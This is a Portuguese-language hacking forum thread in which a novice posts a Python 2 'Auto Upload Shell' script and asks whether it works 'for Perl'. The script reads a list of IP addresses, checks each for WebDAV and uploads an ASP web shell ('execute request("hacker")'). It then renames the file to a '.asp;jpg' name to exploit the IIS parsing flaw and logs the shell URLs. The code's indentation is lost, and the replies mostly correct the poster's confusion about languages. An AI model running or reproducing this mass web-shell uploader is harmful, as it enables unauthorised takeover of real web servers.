Esse Exploit serve pra perl?

[Ciclope263]

Olá gente, achei esse exploit em um blog que eu tinha achado um outro exploit e falava que era um auto upload, bom eu gostaria de saber se esse exploit serve pra arquivos perl?

E o que é Python IIS Scanner? eu sou novato nessa área e gostaria muito de saber, só que a escassez de informações de tópicos no fórum está fogo. enfim espero a ajuda de vocês.

#!/usr/bin/python
import socket,re,urllib,urllib2,os,sys
def options():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
req = "OPTIONS / HTTP/1.1\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Connection: close\r\n"
req += "\r\n\r\n"
#print req
sock.send(req)
data = sock.recv(1024)
sock.close()
r1 = re.compile('DAV')
result = r1.findall(data)
if result == []:
print "On bad...the web DAV is not open.\n"
else:

print "WA HAHA LET US CHECK MORE time"
return None
def put():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
text = '<%execute request("hacker")%>'
print "File content:\n" + text
file_length = len(text)
req = "PUT /" + 'temp003.txt' +" HTTP/1.1\r\n"
req += "Connection: close\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Content-Type: text/xml; charset='utf-8'\r\n"
req += "Content-Length: " + str(file_length) +"\r\n\r\n"
req += text + "\r\n"
sock.send(req)
data = sock.recv(1024)
sock.close()
r2 = re.compile('OK')
result = r2.findall(data)
if result == []:
print "On bad...the web is not wirrten.\n"
else:

print "OK code uploaded"
print "\ncode here " + 'http://'+t_IP+'/'+'temp003.txt'
def move():
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((t_IP,t_port))
req = "MOVE /" + 'temp003.txt' +" HTTP/1.1\r\n"
req += "Host: " + t_IP + "\r\n"
req += "Destination: http://" + t_IP +'/'+ 'temp003.asp;jpg'+"\n\n"
sock.send(req)
data = sock.recv(1024)
sock.close()
r3 = re.compile('asp')
result = r3.findall(data)
if result == []:
print "On bad...the web is not wirrten.\n"
else:
print "\n_shell and check RESULT.TXT \nhttp://" + t_IP +'/'+ 'temp003.asp;jpg'+"\n\n"
temp="http://" + t_IP +'/'+ 'temp003.asp;jpg'
os.system('echo'+' '+ temp +' >>RESULT.txt')



t_port = 80

print "\===============Auto Upload Shell=================="
print "\n[1] Check the Vulnerability"
#IP=raw_input("enter your target ip like 1.1.1.0/24:")
#inp = raw_input("enter your choice:")
#if inp == '1':
# options()
# if options() is None:
# put()
# move()
IP=raw_input("enter your txt position like C:\1.txt:")
f=open(IP,'r')
lines=f.readlines()

#b = 'nmap'+' '+'--open '+''+'-p 80 ' + '' + IP
#print b +'\r\n'+'Now go for find the dork server'
#a = str(os.popen(b).readlines())
#r1 = re.compile("\d*\.\d*\.\d*\.\d*")
#ip = r1.findall(a)
ips=[]
#if ip==[]:
# sys.exit()
for x in lines:
x=x.strip()
ips.append(x)

for y in ips:
t_IP = y

try:
print 'now scan the '+y
options()
if options() is None:
put()
move()
except:
continue
print "Enjoy the Shell"

[fvox]

Hmm, defina serve para Perl.
É para exploitar algum bug no interpretador do Perl? Longe disso. =p

Pelo o que entendi do código, é uma tool que scanneia dav e abre conn, e não um exploit em si.

A propósito, Python usa identação como definição de escopos dentro do script... Coisa que este seu script perdeu. oO

[]'s

[4linux-]

servir para arquivos perl ? lol, perl e uma linguagem! e esse arquivo nao esta em perl. observe no inicio do code.
sua pergunta tambem esta errada: este exploite serve pra perl ?
o correte seria. esse exploit e perl?
pois ao usarmos iremos compila-lo e nao usa-lo NO PERL;

[S4tur0]

Não, isso ai é python

[n4sss]

Amigo mesmo que nao saiba ingles, se oriente pelas linhas que define o interpretador sua linguagem respectiva veja:

#!/usr/bin/python

ou seja é python

#!/usr/bin/perl

PERL

#!/bin/bash
#!/bin/sh

executados através de sistemas unix (linux).

include<stdio.h>
include .. ..

linguagem C

entre outras, estude um pouco programação que ira te ajudar na vida de hacker.

abraço.